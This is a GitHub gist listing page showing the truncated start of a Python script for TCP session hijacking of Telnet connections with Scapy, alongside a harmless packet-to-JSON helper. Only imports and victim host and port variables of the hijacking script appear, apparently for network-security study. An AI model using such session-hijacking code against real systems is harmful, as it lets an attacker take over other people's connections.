Skip to content

Instantly share code, notes, and snippets.

View ZY-Ang's full-sized avatar
🦆
Talking to a rubber duck

Alex Ang ZY-Ang

🦆
Talking to a rubber duck
View GitHub Profile
@ZY-Ang
ZY-Ang / tcpjack.py
Last active April 15, 2024 17:19
TCP Session Jacking on Telnet and Scapy
from scapy.all import *
from scapy.layers.inet import IP, TCP
count = 0
server_host = "<Your victim's server's IP address>"
server_port = 23 # Your victim's server's port
victim_host = None
victim_port = None
@ZY-Ang
ZY-Ang / pkt_to_json.py
Created October 9, 2019 13:02
Transform a Scapy Packet to JSON
def pkt_to_json(pkt):
"""
:param pkt:
:return:
"""
json_packet = {}
c_layer = None
for line in pkt.split('\n'):
if line.startswith("###["):
c_layer = line.replace("###[", '').replace("]###", '').strip().lower()